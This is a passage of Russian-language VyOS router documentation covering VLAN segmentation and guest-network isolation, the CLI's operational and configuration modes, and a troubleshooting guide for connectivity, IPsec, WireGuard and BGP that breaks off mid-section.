set service dhcp-server shared-network-name GUEST subnet 192.168.99.0/24 option name-server 8.8.8.8
set service dhcp-server shared-network-name GUEST subnet 192.168.99.0/24 range 0 start 192.168.99.100
set service dhcp-server shared-network-name GUEST subnet 192.168.99.0/24 range 0 stop 192.168.99.200
set service dhcp-server shared-network-name GUEST subnet 192.168.99.0/24 lease 3600

# NAT для интернет доступа
set nat source rule 990 outbound-interface name eth1
set nat source rule 990 source address 192.168.99.0/24
set nat source rule 990 translation address masquerade

# Firewall: только интернет, блокировать локальные сети
set firewall ipv4 forward filter rule 990 action drop
set firewall ipv4 forward filter rule 990 source address 192.168.99.0/24
set firewall ipv4 forward filter rule 990 destination address 192.168.0.0/16

set firewall ipv4 forward filter rule 991 action drop
set firewall ipv4 forward filter rule 991 source address 192.168.99.0/24
set firewall ipv4 forward filter rule 991 destination address 10.0.0.0/8

set firewall ipv4 forward filter rule 992 action drop
set firewall ipv4 forward filter rule 992 source address 192.168.99.0/24
set firewall ipv4 forward filter rule 992 destination address 172.16.0.0/12

# Разрешить интернет (все остальное)
set firewall ipv4 forward filter rule 999 action accept
set firewall ipv4 forward filter rule 999 source address 192.168.99.0/24

commit
```

## Мониторинг и диагностика

### Проверка VLAN интерфейсов

```bash
# Список всех VLAN
show interfaces

# Детали VLAN интерфейса
show interfaces ethernet eth0 vif 10

# Статистика
show interfaces ethernet eth0 vif 10 statistics

# Пакеты
show interfaces ethernet eth0 vif 10 statistics
```

### VLAN tagging проверка

```bash
# tcpdump на parent интерфейсе (видны VLAN tags)
sudo tcpdump -i eth0 -e -n

# tcpdump на VLAN интерфейсе (без tags)
sudo tcpdump -i eth0.10 -n

# Показать VLAN tagged пакеты
sudo tcpdump -i eth0 'vlan'

# Конкретный VLAN
sudo tcpdump -i eth0 'vlan 10'
```

### Проверка connectivity

```bash
# Ping с source
ping 192.168.20.10 source-address 192.168.10.1

# Traceroute
traceroute 192.168.30.10

# Проверка MAC адресов
show arp interface eth0.10
```

### Проверка VLAN таблицы

```bash
# На parent интерфейсе
cat /proc/net/vlan/eth0.10

# Kernel VLAN таблица
cat /proc/net/vlan/config
```

Вывод:
```
VLAN Dev name    | VLAN ID
Name-Type: VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD
eth0.10        | 10  | eth0
eth0.20        | 20  | eth0
eth0.30        | 30  | eth0
```

## Troubleshooting

### VLAN интерфейс не поднимается

**Проблема**: VLAN интерфейс в состоянии down.

**Причины**:
1. Parent интерфейс down
2. VLAN не настроен на коммутаторе
3. Неправильный VLAN ID

**Диагностика**:
```bash
# Проверить parent
show interfaces ethernet eth0

# Проверить VLAN
show interfaces ethernet eth0 vif 10

# Kernel messages
dmesg | grep eth0
```

**Решение**:
```bash
# Убедиться что parent интерфейс up
set interfaces ethernet eth0 disable false

# Проверить на коммутаторе VLAN конфигурацию
```

### Нет связности между VLAN

**Проблема**: Устройства в разных VLAN не могут общаться.

**Причины**:
1. Inter-VLAN routing не работает
2. Firewall блокирует трафик
3. Неправильный default gateway на клиентах

**Диагностика**:
```bash
# Проверить routing
show ip route

# Проверить firewall
show firewall ipv4 forward filter

# Ping с source
ping 192.168.20.10 source-address 192.168.10.1
```

**Решение**:
```bash
# Проверить что IP forwarding включен (по умолчанию включен)
cat /proc/sys/net/ipv4/ip_forward
# Должно быть 1

# Проверить firewall правила
show firewall ipv4 forward filter

# Добавить правило если нужно
set firewall ipv4 forward filter rule 100 action accept
```

### VLAN трафик не tagged

**Проблема**: Трафик на коммутаторе не имеет VLAN тегов.

**Причины**:
1. Коммутатор порт в access режиме вместо trunk
2. Native VLAN mismatch

**Решение**:
На коммутаторе (Cisco пример):
```
interface GigabitEthernet0/1
 switchport mode trunk
 switchport trunk allowed vlan 10,20,30
```

### MTU проблемы с VLAN

**Проблема**: Пакеты фрагментируются или теряются.

**Причина**: VLAN добавляет 4 байта, но MTU не учтен.

**Решение**:
```bash
# Увеличить MTU на parent
set interfaces ethernet eth0 mtu 1504

# Или уменьшить на VLAN
set interfaces ethernet eth0 vif 10 mtu 1496

commit
```

### Broadcast storm в VLAN

**Проблема**: Высокая загрузка CPU, сеть медленная.

**Причины**:
1. Петля в сети
2. Нет STP
3. Broadcast трафик

**Диагностика**:
```bash
# Смотреть broadcast пакеты
sudo tcpdump -i eth0.10 broadcast -c 100

# Статистика ошибок
show interfaces ethernet eth0 vif 10 statistics
```

**Решение**:
1. Включить STP на коммутаторах
2. Проверить топологию на петли
3. Ограничить broadcast (storm-control на коммутаторе)

## Интеграция с коммутаторами

### Cisco IOS

```cisco
! Trunk порт к VyOS
interface GigabitEthernet0/1
 description Trunk to VyOS
 switchport mode trunk
 switchport trunk allowed vlan 10,20,30,99
 switchport trunk native vlan 999
 spanning-tree portfast trunk
```

### HP/Aruba

```
! Trunk к VyOS
interface 1
 name "Trunk to VyOS"
 tagged vlan 10,20,30,99
 untagged vlan 999
```

### Mikrotik

```
# VLAN на bridge
/interface vlan
add interface=bridge1 name=vlan10 vlan-id=10
add interface=bridge1 name=vlan20 vlan-id=20

# Trunk порт
/interface bridge port
add bridge=bridge1 interface=ether1 comment="Trunk to VyOS"

# VLAN filtering
/interface bridge vlan
add bridge=bridge1 tagged=ether1 vlan-ids=10,20,30
```

### Linux Bridge

```bash
# VLAN на Linux сервере
ip link add link eth0 name eth0.10 type vlan id 10
ip addr add 192.168.10.100/24 dev eth0.10
ip link set eth0.10 up
```

## Примеры реальных конфигураций

### Пример 1: Малый офис (SOHO)

**Топология**:
- VLAN 10: Management (192.168.10.0/24)
- VLAN 20: Office (192.168.20.0/24)
- VLAN 30: WiFi (192.168.30.0/24)

```bash
# WAN
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'Internet'

# LAN trunk
set interfaces ethernet eth1 description 'LAN Trunk'

# Management VLAN
set interfaces ethernet eth1 vif 10 address 192.168.10.1/24
set interfaces ethernet eth1 vif 10 description 'Management'

# Office VLAN
set interfaces ethernet eth1 vif 20 address 192.168.20.1/24
set interfaces ethernet eth1 vif 20 description 'Office Network'

# WiFi VLAN
set interfaces ethernet eth1 vif 30 address 192.168.30.1/24
set interfaces ethernet eth1 vif 30 description 'WiFi'

# DHCP для всех VLAN
set service dhcp-server shared-network-name MGMT subnet 192.168.10.0/24 option default-router 192.168.10.1
set service dhcp-server shared-network-name MGMT subnet 192.168.10.0/24 range 0 start 192.168.10.100
set service dhcp-server shared-network-name MGMT subnet 192.168.10.0/24 range 0 stop 192.168.10.200

set service dhcp-server shared-network-name OFFICE subnet 192.168.20.0/24 option default-router 192.168.20.1
set service dhcp-server shared-network-name OFFICE subnet 192.168.20.0/24 range 0 start 192.168.20.100
set service dhcp-server shared-network-name OFFICE subnet 192.168.20.0/24 range 0 stop 192.168.20.200

set service dhcp-server shared-network-name WIFI subnet 192.168.30.0/24 option default-router 192.168.30.1
set service dhcp-server shared-network-name WIFI subnet 192.168.30.0/24 range 0 start 192.168.30.100
set service dhcp-server shared-network-name WIFI subnet 192.168.30.0/24 range 0 stop 192.168.30.200

# NAT для всех
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.0.0/16
set nat source rule 100 translation address masquerade

# Firewall: WiFi изолирован от локальных сетей
set firewall ipv4 forward filter rule 300 action drop
set firewall ipv4 forward filter rule 300 source address 192.168.30.0/24
set firewall ipv4 forward filter rule 300 destination address 192.168.10.0/24

set firewall ipv4 forward filter rule 301 action drop
set firewall ipv4 forward filter rule 301 source address 192.168.30.0/24
set firewall ipv4 forward filter rule 301 destination address 192.168.20.0/24

commit
save
```

### Пример 2: Enterprise с множеством VLAN

**Топология**:
- VLAN 10: Management
- VLAN 20: Employees
- VLAN 30: Servers
- VLAN 40: VoIP
- VLAN 50: CCTV
- VLAN 99: Guest

```bash
# Trunk интерфейс
set interfaces ethernet eth0 description 'Core Switch Trunk'
set interfaces ethernet eth0 mtu 1600

# Management
set interfaces ethernet eth0 vif 10 address 10.0.10.1/24
set interfaces ethernet eth0 vif 10 description 'Management VLAN'

# Employees
set interfaces ethernet eth0 vif 20 address 10.0.20.1/24
set interfaces ethernet eth0 vif 20 description 'Employees'

# Servers
set interfaces ethernet eth0 vif 30 address 10.0.30.1/24
set interfaces ethernet eth0 vif 30 description 'Servers'

# VoIP
set interfaces ethernet eth0 vif 40 address 10.0.40.1/24
set interfaces ethernet eth0 vif 40 description 'VoIP'

# CCTV
set interfaces ethernet eth0 vif 50 address 10.0.50.1/24
set interfaces ethernet eth0 vif 50 description 'CCTV'

# Guest
set interfaces ethernet eth0 vif 99 address 10.0.99.1/24
set interfaces ethernet eth0 vif 99 description 'Guest WiFi'

# QoS для VoIP VLAN
set traffic-policy shaper VOIP bandwidth 100mbit
set traffic-policy shaper VOIP default bandwidth 100mbit
set traffic-policy shaper VOIP default priority 7
set interfaces ethernet eth0 vif 40 traffic-policy out VOIP

# Firewall матрица доступа
# Management → All
set firewall ipv4 forward filter rule 100 action accept
set firewall ipv4 forward filter rule 100 source address 10.0.10.0/24

# Employees → Servers (limited ports)
set firewall ipv4 forward filter rule 110 action accept
set firewall ipv4 forward filter rule 110 source address 10.0.20.0/24
set firewall ipv4 forward filter rule 110 destination address 10.0.30.0/24
set firewall ipv4 forward filter rule 110 destination port 80,443,3389
set firewall ipv4 forward filter rule 110 protocol tcp

# VoIP isolated (only to servers for call control)
set firewall ipv4 forward filter rule 140 action accept
set firewall ipv4 forward filter rule 140 source address 10.0.40.0/24
set firewall ipv4 forward filter rule 140 destination address 10.0.30.100
set firewall ipv4 forward filter rule 140 destination port 5060,5061
set firewall ipv4 forward filter rule 140 protocol udp

# CCTV isolated (only to NVR server)
set firewall ipv4 forward filter rule 150 action accept
set firewall ipv4 forward filter rule 150 source address 10.0.50.0/24
set firewall ipv4 forward filter rule 150 destination address 10.0.30.200

# Guest fully isolated
set firewall ipv4 forward filter rule 190 action drop
set firewall ipv4 forward filter rule 190 source address 10.0.99.0/24
set firewall ipv4 forward filter rule 190 destination address 10.0.0.0/8

commit
save
```

## Лучшие практики

1. **Планирование VLAN ID**:
   - Используйте логическую схему (10-19 management, 20-29 users, и т.д.)
   - Документируйте VLAN ID и их назначение
   - Резервируйте диапазоны для будущего роста

2. **MTU конфигурация**:
   - Parent интерфейс: MTU 1504 или выше
   - VLAN интерфейс: MTU 1500
   - Jumbo frames: учитывайте дополнительные 4 байта

3. **Описания интерфейсов**:
   - Всегда добавляйте description для VLAN
   - Указывайте назначение и контактную информацию

4. **Безопасность**:
   - Используйте firewall для контроля inter-VLAN routing
   - Изолируйте guest сети
   - Ограничивайте broadcast трафик

5. **DHCP конфигурация**:
   - Разные DHCP pools для каждого VLAN
   - Используйте DHCP options (DNS, NTP, domain)
   - Настройте DHCP snooping на коммутаторах

6. **QoS для критичных VLAN**:
   - VoIP VLAN должен иметь приоритет
   - Real-time трафик (video) требует гарантированной полосы

7. **Мониторинг**:
   - Отслеживайте состояние VLAN интерфейсов
   - Логируйте VLAN changes
   - Алерты на down состояние

8. **Backup конфигурации**:
   - Регулярно сохраняйте конфигурацию
   - Документируйте VLAN топологию
   - Храните схемы сети

9. **Native VLAN**:
   - Не используйте VLAN 1 как native
   - Используйте неиспользуемый VLAN как native (например, 999)
   - Соответствие native VLAN на всех trunk портах

10. **Тестирование**:
    - Тестируйте connectivity между VLAN
    - Проверяйте firewall rules
    - Верифицируйте QoS политики
    - Тестируйте failover если есть redundancy

## Заключение

VLAN в VyOS предоставляют гибкий и мощный механизм сегментации сети. Правильное использование VLAN позволяет:
- Улучшить безопасность через изоляцию
- Оптимизировать производительность сети
- Упростить управление и масштабирование
- Реализовать QoS для критичных сервисов

VyOS поддерживает все современные VLAN функции включая 802.1Q tagging, QinQ (802.1ad), VLAN на bond интерфейсах, и полную интеграцию с firewall, NAT, routing, и QoS.


---

# CLI VyOS - операционный режим и конфигурация

Source: https://opennix.org/docs/vyos/first-steps/vyos-cli/


VyOS предоставляет мощный интерфейс командной строки для управления системой. CLI состоит из двух основных режимов: операционного режима и режима конфигурации.

## Операционный режим

Операционный режим используется для выполнения системных задач, просмотра состояния системы и сервисов.

### Основные характеристики

- Позволяет выполнять системные задачи без изменения конфигурации
- Предоставляет встроенную систему помощи
- Поддерживает автодополнение команд

### Получение помощи

Используйте `?` для просмотра доступных команд:

```
vyos@vyos:~$ ?
Possible completions:
  clear      Clear system information
  configure  Enter configuration mode
  force      Force an operation
  monitor    Monitor system information
  ping       Send ICMP echo requests
  reset      Reset a service
  restart    Restart a service
  show       Show system information
  telnet     Telnet to a node
  traceroute Track network path to node
```

### Автодополнение

Используйте клавишу `TAB` для автодополнения команд:

```
vyos@vyos:~$ sh<TAB>
vyos@vyos:~$ show
```

### Семейства команд

#### clear

Неразрушающие действия, такие как сброс счетчиков или очистка логов:

```
vyos@vyos:~$ clear interfaces ethernet eth0 counters
```

#### reset

Локально разрушающие действия, такие как завершение сессий:

```
vyos@vyos:~$ reset vpn ipsec-peer 192.0.2.1
```

#### restart

Перезапуск подсистем:

```
vyos@vyos:~$ restart service ssh
```

#### force

Принудительное выполнение определенных системных действий:

```
vyos@vyos:~$ force arp-cache refresh
```

#### execute

Выполнение диагностических и вспомогательных задач:

```
vyos@vyos:~$ execute ping 8.8.8.8
```

#### show

Отображение системной информации:

```
vyos@vyos:~$ show interfaces
vyos@vyos:~$ show ip route
vyos@vyos:~$ show version
```

#### monitor

Непрерывный вывод информации (обновление в реальном времени):

```
vyos@vyos:~$ monitor interfaces ethernet eth0 traffic
vyos@vyos:~$ monitor log
```

Для выхода из режима мониторинга используйте `Ctrl+C`.

## Режим конфигурации

Режим конфигурации используется для внесения изменений в конфигурацию системы.

### Вход в режим конфигурации

```
vyos@vyos:~$ configure
[edit]
vyos@vyos#
```

Обратите внимание на изменение приглашения командной строки с `~$` на `#`.

### Основные команды конфигурации

#### set

Добавление или изменение элемента конфигурации:

```
vyos@vyos# set interfaces ethernet eth0 address 192.168.1.1/24
vyos@vyos# set interfaces ethernet eth0 description 'LAN Interface'
```

#### delete

Удаление элемента конфигурации:

```
vyos@vyos# delete interfaces ethernet eth0 address 192.168.1.1/24
```

#### commit

Применение изменений конфигурации:

```
vyos@vyos# commit
```

**Важно**: Изменения не вступят в силу до выполнения команды `commit`.

#### save

Сохранение конфигурации на постоянной основе:

```
vyos@vyos# save
Saving configuration to '/config/config.boot'...
Done
```

По умолчанию конфигурация сохраняется в `/config/config.boot`.

#### compare

Просмотр различий между текущей рабочей и активной конфигурацией:

```
vyos@vyos# compare
[edit interfaces ethernet eth0]
+address 192.168.1.1/24
+description "LAN Interface"
```

#### exit discard

Выход из режима конфигурации без сохранения изменений:

```
vyos@vyos# exit discard
vyos@vyos:~$
```

#### exit

Выход из режима конфигурации с сохранением изменений:

```
vyos@vyos# commit
vyos@vyos# exit
vyos@vyos:~$
```

### Навигация по иерархии конфигурации

Конфигурация VyOS организована в виде древовидной иерархии.

#### edit

Переход на определенный уровень конфигурации:

```
vyos@vyos# edit interfaces ethernet eth0
[edit interfaces ethernet eth0]
vyos@vyos#
```

Теперь все команды выполняются в контексте `interfaces ethernet eth0`:

```
[edit interfaces ethernet eth0]
vyos@vyos# set address 192.168.1.1/24
vyos@vyos# set description 'LAN Interface'
```

#### up

Переход на один уровень вверх:

```
[edit interfaces ethernet eth0]
vyos@vyos# up
[edit interfaces]
vyos@vyos#
```

#### top

Переход на корневой уровень конфигурации:

```
[edit interfaces ethernet eth0]
vyos@vyos# top
[edit]
vyos@vyos#
```

#### exit

Выход на один уровень вверх (аналогично `up`):

```
[edit interfaces ethernet eth0]
vyos@vyos# exit
[edit interfaces]
vyos@vyos#
```

## Управление конфигурацией

### История конфигурации

VyOS автоматически сохраняет историю конфигураций. Просмотр списка сохраненных версий:

```
vyos@vyos# show system commit
0   2024-10-13 15:30:45 by vyos via cli
1   2024-10-13 14:15:22 by vyos via cli
2   2024-10-13 12:05:10 by vyos via cli
```

### Откат конфигурации

Откат к предыдущей версии конфигурации:

```
vyos@vyos# rollback 1
vyos@vyos# commit
```

Откат к последней сохраненной конфигурации:

```
vyos@vyos# rollback
vyos@vyos# commit
```

### Сравнение конфигураций

Сравнение текущей конфигурации с сохраненной версией:

```
vyos@vyos# compare 1
```

Сравнение двух сохраненных версий:

```
vyos@vyos# compare 1 2
```

### Комментарии к конфигурации

Добавление комментариев к элементам конфигурации для документирования:

```
vyos@vyos# comment interfaces ethernet eth0 address 192.168.1.1/24 "Primary LAN address"
```

Просмотр комментариев:

```
vyos@vyos# show interfaces ethernet eth0
/* Primary LAN address */
address 192.168.1.1/24
description "LAN Interface"
```

### Подтверждение изменений (Commit Confirm)

Для критических изменений можно использовать подтверждение с тайм-аутом. Если изменения не подтверждены в течение указанного времени, конфигурация автоматически откатывается:

```
vyos@vyos# commit-confirm 5
```

Подтверждение изменений в течение 5 минут:

```
vyos@vyos# confirm
```

Это полезно при изменении сетевых настроек удаленного маршрутизатора, чтобы избежать потери доступа.

## Просмотр конфигурации

### show

Просмотр текущей конфигурации:

```
vyos@vyos# show
```

Просмотр определенной части конфигурации:

```
vyos@vyos# show interfaces
vyos@vyos# show interfaces ethernet eth0
```

### show | commands

Отображение конфигурации в виде команд `set`:

```
vyos@vyos# show interfaces ethernet eth0 | commands
set interfaces ethernet eth0 address '192.168.1.1/24'
set interfaces ethernet eth0 description 'LAN Interface'
```

Это полезно для копирования конфигурации или создания скриптов.

### show | display-set

Альтернативный способ отображения в виде команд `set`:

```
vyos@vyos# show | display-set
```

## Загрузка конфигурации

### load

Загрузка конфигурации из файла:

```
vyos@vyos# load /config/backup-config.boot
```

Объединение конфигурации из файла с текущей:

```
vyos@vyos# merge /config/additional-config.boot
```

## Архивирование конфигурации

### Локальное архивирование

VyOS автоматически сохраняет каждую commit-версию конфигурации.

Настройка количества хранимых версий:

```
set system config-management commit-archive location '/config/archive'
set system config-management commit-revisions 50
```

### Удаленное архивирование

Настройка автоматической отправки конфигурации на удаленный сервер после каждого commit:

```
set system config-management commit-archive location 'scp://user@192.0.2.100/backup'
```

## Советы и рекомендации

### Горячие клавиши

- `TAB` - автодополнение команды
- `?` - показать доступные команды
- `Ctrl+A` - переход в начало строки
- `Ctrl+E` - переход в конец строки
- `Ctrl+U` - удалить все слева от курсора
- `Ctrl+K` - удалить все справа от курсора
- `Ctrl+W` - удалить слово слева от курсора
- `Ctrl+L` - очистить экран
- `Ctrl+C` - прервать команду

### История команд

- Стрелка вверх/вниз - навигация по истории команд
- `Ctrl+R` - поиск в истории команд

### Пайплайны

Команды можно передавать через пайплайны для фильтрации вывода:

```
vyos@vyos# show | grep address
vyos@vyos# show | match "192.168"
```

Доступные фильтры:
- `match` - показать строки, содержащие паттерн
- `except` - исключить строки, содержащие паттерн
- `commands` - показать в виде команд set

### Копирование и вставка

При работе с удаленной сессией используйте копирование/вставку конфигурации в виде команд `set`:

```
vyos@vyos# show interfaces ethernet eth0 | commands
```

Скопируйте вывод и вставьте в другую систему VyOS.

## Пример рабочего процесса

Типичный процесс изменения конфигурации:

```
# 1. Войти в режим конфигурации
vyos@vyos:~$ configure
[edit]

# 2. Внести изменения
vyos@vyos# set interfaces ethernet eth1 address 192.168.2.1/24
vyos@vyos# set interfaces ethernet eth1 description 'DMZ'

# 3. Просмотреть изменения
vyos@vyos# compare

# 4. Применить изменения
vyos@vyos# commit

# 5. Сохранить конфигурацию
vyos@vyos# save

# 6. Выйти из режима конфигурации
vyos@vyos# exit
vyos@vyos:~$
```

## Следующие шаги

После знакомства с CLI продолжите изучение:

- [Обзор конфигурации](/docs/vyos/first-steps/vyos-config-overview/) - понимание структуры конфигурации
- [Конфигурация](/docs/vyos/) - детальное руководство по настройке компонентов
- [Операционный режим](/docs/vyos/admin-guide/vyos-operation-mode/) - расширенные операционные команды


---

# Troubleshooting (Устранение неполадок)

Source: https://opennix.org/docs/vyos/admin-guide/vyos-troubleshooting/


Систематическое руководство по диагностике и устранению неполадок в VyOS. Это руководство охватывает общие проблемы, методологию troubleshooting и практические решения для всех основных компонентов системы.

## Методология устранения неполадок

### Систематический подход

**Шаг 1: Определение проблемы**
- Точное описание симптомов
- Воспроизводимость проблемы
- Время возникновения (после изменений, спонтанно)
- Влияние на пользователей/сервисы

**Шаг 2: Сбор информации**
- Системные логи
- Конфигурация устройства
- Статус компонентов
- Сетевая топология

**Шаг 3: Анализ**
- Корреляция событий
- Проверка гипотез
- Изоляция проблемы

**Шаг 4: Решение**
- Применение исправления
- Проверка результата
- Документирование решения

**Шаг 5: Профилактика**
- Анализ первопричины
- Предотвращение повторения
- Обновление процедур

### Инструменты диагностики

```bash
# Базовый набор команд для первичной диагностики
show version                        # Версия системы
show configuration                  # Текущая конфигурация
show interfaces                     # Статус интерфейсов
show ip route                       # Таблица маршрутизации
show log tail 100                   # Последние 100 строк логов
show system uptime                  # Время работы системы
show system resources               # Использование ресурсов

# Расширенная диагностика
monitor log                         # Мониторинг логов в реальном времени
monitor traffic interface eth0      # Захват трафика
show conntrack table ipv4           # Таблица соединений
show vpn ipsec sa                   # Статус IPsec туннелей
show dhcp server leases             # DHCP аренды
```

## Проблемы с сетевым подключением

### Проблема: Нет связи с удаленным хостом

#### Диагностика

```bash
# Шаг 1: Проверить статус локального интерфейса
show interfaces
show interfaces ethernet eth0

# Шаг 2: Проверить IP конфигурацию
show interfaces addresses

# Шаг 3: Проверить маршрутизацию
show ip route
show ip route 8.8.8.8

# Шаг 4: Проверить connectivity
ping 8.8.8.8
ping 8.8.8.8 source-address <your-ip>

# Шаг 5: Трассировка маршрута
traceroute 8.8.8.8

# Шаг 6: Проверить DNS
nslookup google.com
```

#### Типичные причины и решения

**Причина 1: Интерфейс down**

```bash
# Проверить статус
show interfaces ethernet eth0

# Если интерфейс administratively down
configure
delete interfaces ethernet eth0 disable
commit
save
exit

# Проверить физическое подключение
show interfaces ethernet eth0 physical
```

**Причина 2: Неверная конфигурация IP адреса**

```bash
# Проверить текущую конфигурацию
show interfaces ethernet eth0 address

# Исправить IP адрес
configure
set interfaces ethernet eth0 address 192.168.1.1/24
commit
save
exit

# Проверить результат
show interfaces addresses
ping 192.168.1.254  # Gateway
```

**Причина 3: Отсутствует маршрут**

```bash
# Проверить маршрут до целевой сети
show ip route 8.8.8.8

# Добавить default route если отсутствует
configure
set protocols static route 0.0.0.0/0 next-hop 192.168.1.254
commit
save
exit

# Проверить маршрутизацию
show ip route
ping 8.8.8.8
```

**Причина 4: Firewall блокирует трафик**

```bash
# Проверить правила firewall
show firewall

# Проверить счетчики на правилах
show firewall statistics

# Временно отключить firewall для теста
configure
set firewall all-ping enable
set firewall state-policy established action accept
set firewall state-policy related action accept
commit

# Проверить connectivity
ping 8.8.8.8

# Если помогло - настроить firewall правильно
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable
commit
save
```

**Причина 5: MTU проблемы**

```bash
# Проверить MTU
show interfaces ethernet eth0

# Тест с разными размерами пакетов
ping 8.8.8.8 size 1472 do-not-fragment  # 1472 + 28 = 1500
ping 8.8.8.8 size 1400 do-not-fragment

# Если большие пакеты не проходят - уменьшить MTU
configure
set interfaces ethernet eth0 mtu 1400
commit
save

# Для PPPoE обычно требуется MTU 1492
set interfaces ethernet eth0 mtu 1492
```

### Проблема: Медленная работа сети

#### Диагностика производительности

```bash
# Проверить загрузку интерфейсов
show interfaces
show interfaces counters

# Проверить ошибки на интерфейсах
show interfaces ethernet eth0 statistics

# Проверить дуплекс и скорость
show interfaces ethernet eth0 physical

# Мониторинг трафика
monitor traffic interface eth0

# Проверить системные ресурсы
show system cpu
show system memory
show system storage
```

#### Типичные причины и решения

**Причина 1: Несоответствие дуплекса**

```bash
# Проверить текущие настройки
show interfaces ethernet eth0 physical

# Если auto-negotiation не работает - задать вручную
configure
set interfaces ethernet eth0 duplex full
set interfaces ethernet eth0 speed 1000
commit
save

# Перезапустить интерфейс
sudo ip link set eth0 down
sudo ip link set eth0 up
```

**Причина 2: Высокая загрузка CPU**

```bash
# Проверить загрузку CPU
show system cpu
show system processes

# Определить процессы-потребители
top

# Если высокая нагрузка от conntrack
show conntrack table ipv4 | wc -l

# Увеличить conntrack table size
configure
set system conntrack table-size 262144
commit
save

# Оптимизировать timeouts
set system conntrack timeout tcp established 432000
set system conntrack timeout tcp close 10
```

**Причина 3: QoS ограничения**

```bash
# Проверить QoS политики
show qos

# Проверить применение политик
show qos interface eth0

# Временно отключить QoS для теста
configure
delete traffic-policy
delete interfaces ethernet eth0 traffic-policy
commit

# Если помогло - пересмотреть QoS конфигурацию
```

**Причина 4: DNS проблемы**

```bash
# Проверить DNS резолвинг
nslookup google.com
dig google.com

# Проверить время ответа DNS
time nslookup google.com

# Если медленно - изменить DNS серверы
configure
set system name-server 8.8.8.8
set system name-server 8.8.4.4
commit
save

# Для DNS forwarding - проверить кэш
show dns forwarding statistics
reset dns forwarding cache
```

## Проблемы с VPN

### Проблема: IPsec туннель не поднимается

#### Диагностика IPsec

```bash
# Проверить статус IPsec
show vpn ipsec sa
show vpn ipsec status

# Детальная информация о туннелях
show vpn ipsec sa detail

# Проверить конфигурацию
show configuration vpn ipsec

# Логи IPsec
show log vpn ipsec
monitor log | match ipsec
```

#### Типичные причины и решения

**Причина 1: Несоответствие параметров IKE/ESP**

```bash
# Проверить параметры на обеих сторонах
show configuration vpn ipsec ike-group
show configuration vpn ipsec esp-group

# Типичная рабочая конфигурация
configure
set vpn ipsec ike-group IKE-SITE proposal 1 encryption aes256
set vpn ipsec ike-group IKE-SITE proposal 1 hash sha256
set vpn ipsec ike-group IKE-SITE proposal 1 dh-group 14
set vpn ipsec ike-group IKE-SITE lifetime 28800

set vpn ipsec esp-group ESP-SITE proposal 1 encryption aes256
set vpn ipsec esp-group ESP-SITE proposal 1 hash sha256
set vpn ipsec esp-group ESP-SITE lifetime 3600
set vpn ipsec esp-group ESP-SITE pfs dh-group14

commit
save

# Перезапустить IPsec
sudo ipsec restart
```

**Причина 2: Неверный Pre-Shared Key**

```bash
# Проверить конфигурацию PSK (пароль не отображается)
show configuration vpn ipsec site-to-site peer <peer-ip> authentication

# Обновить PSK
configure
set vpn ipsec site-to-site peer <peer-ip> authentication pre-shared-secret 'new-secret'
commit
save

# Перезапустить туннель
reset vpn ipsec-peer <peer-ip>
```

**Причина 3: Firewall блокирует IPsec трафик**

```bash
# IPsec требует UDP 500 (IKE) и UDP 4500 (NAT-T)
# Также ESP (протокол 50)

configure
# Разрешить IKE
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 protocol udp
set firewall name WAN_LOCAL rule 100 destination port 500

# Разрешить NAT-T
set firewall name WAN_LOCAL rule 101 action accept
set firewall name WAN_LOCAL rule 101 protocol udp
set firewall name WAN_LOCAL rule 101 destination port 4500

# Разрешить ESP
set firewall name WAN_LOCAL rule 102 action accept
set firewall name WAN_LOCAL rule 102 protocol esp

commit
save
```

**Причина 4: NAT конфликт**

```bash
# Проверить NAT правила
show nat source

# IPsec трафик не должен проходить через NAT
# Добавить exclude правило
configure
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 destination address 192.168.2.0/24  # Remote network
set nat source rule 100 exclude

commit
save
```

**Причина 5: Неверные subnet конфигурации**

```bash
# Проверить local и remote prefixes
show configuration vpn ipsec site-to-site peer <peer-ip> tunnel

# Исправить если неверно
configure
set vpn ipsec site-to-site peer <peer-ip> tunnel 1 local prefix 192.168.1.0/24
set vpn ipsec site-to-site peer <peer-ip> tunnel 1 remote prefix 192.168.2.0/24
commit
save

# Перезапустить туннель
reset vpn ipsec-peer <peer-ip>

# Проверить статус
show vpn ipsec sa
```

### Проблема: WireGuard не работает

#### Диагностика WireGuard

```bash
# Проверить статус интерфейса
show interfaces wireguard wg0

# Проверить peers
show interfaces wireguard wg0 summary

# Проверить handshake
show interfaces wireguard wg0 detail

# Проверить конфигурацию
show configuration interfaces wireguard wg0
```

#### Решения для WireGuard

**Причина 1: Неверные публичные ключи**

```bash
# Сгенерировать новые ключи
generate wireguard default-keypair

# Получить публичный ключ для передачи peer
show wireguard keypairs pubkey default

# Установить публичный ключ peer
configure
set interfaces wireguard wg0 peer <peer-name> public-key '<peer-public-key>'
commit
save
```

**Причина 2: Firewall блокирует WireGuard**

```bash
# WireGuard использует UDP (обычно 51820)
configure
set firewall name WAN_LOCAL rule 200 action accept
set firewall name WAN_LOCAL rule 200 protocol udp
set firewall name WAN_LOCAL rule 200 destination port 51820
commit
save
```

**Причина 3: Нет handshake с peer**

```bash
# Проверить endpoint peer
show configuration interfaces wireguard wg0 peer <peer-name>

# Проверить persistent-keepalive
configure
set interfaces wireguard wg0 peer <peer-name> persistent-keepalive 25
commit
save

# Принудительно инициировать соединение
ping <peer-wg-ip>
```

## Проблемы с маршрутизацией

### Проблема: BGP соседство не устанавливается

#### Диагностика BGP

```bash
# Проверить BGP neighbors
show ip bgp summary
show ip bgp neighbors
show ip bgp neighbors <neighbor-ip> advertised-routes
show ip bgp neighbors <neighbor-ip> received-routes

# Проверить BGP конфигурацию
show configuration protocols bgp

# BGP логи
show log | match bgp
```

#### Решения для BGP

**Причина 1: TCP connectivity отсутствует**

```bash
# BGP использует TCP 179
# Проверить connectivity
telnet <neighbor-ip> 179

# Проверить firewall
configure
set firewall name WAN_LOCAL rule 300 action accept
set firewall name WAN_LOCAL rule 300 protocol tcp
set firewall name WAN_LOCAL rule 300 destination port 179
commit
save

# Проверить маршрут до neighbor
show ip route <neighbor-ip>
```

**Причина 2: Неверные параметры BGP**

```bash
# Проверить ASN на обеих сторонах
show configuration protocols bgp

# Проверить remote-as
